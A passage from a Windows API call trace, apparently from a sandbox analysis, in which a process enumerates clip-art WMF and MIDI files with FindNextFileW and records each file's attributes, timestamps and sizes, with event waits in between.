ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0246.224] ResetEvent (hEvent=0x118) returned 1 [0246.225] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.228] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0246.228] ResetEvent (hEvent=0x118) returned 1 [0246.228] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0246.231] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0246.231] ResetEvent (hEvent=0x118) returned 1 [0246.231] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0247.281] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0247.281] ResetEvent (hEvent=0x118) returned 1 [0247.282] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0247.296] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0247.296] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0247.297] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0247.297] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0247.297] ResetEvent (hEvent=0x118) returned 1 [0247.297] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0247.309] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0247.309] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0247.310] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0247.310] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0247.310] ResetEvent (hEvent=0x118) returned 1 [0247.310] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.111] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0249.112] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0249.112] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0249.112] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0249.113] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0249.113] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0249.113] ResetEvent (hEvent=0x118) returned 1 [0249.114] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.145] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0249.146] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0249.146] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0249.146] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0249.147] ResetEvent (hEvent=0x118) returned 1 [0249.147] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.167] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0249.167] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0249.167] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0249.168] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0249.168] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0249.168] ResetEvent (hEvent=0x118) returned 1 [0249.169] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.172] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0249.172] ResetEvent (hEvent=0x118) returned 1 [0249.173] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.176] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0249.176] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0249.176] ResetEvent (hEvent=0x118) returned 1 [0249.177] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.566] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0249.566] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0249.567] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0249.567] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0249.567] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0249.567] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0249.568] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0249.568] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0249.568] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0249.569] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0249.569] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0249.569] ResetEvent (hEvent=0x118) returned 1 [0249.570] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.944] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0249.944] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0249.944] ResetEvent (hEvent=0x118) returned 1 [0249.944] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0249.953] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0249.953] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 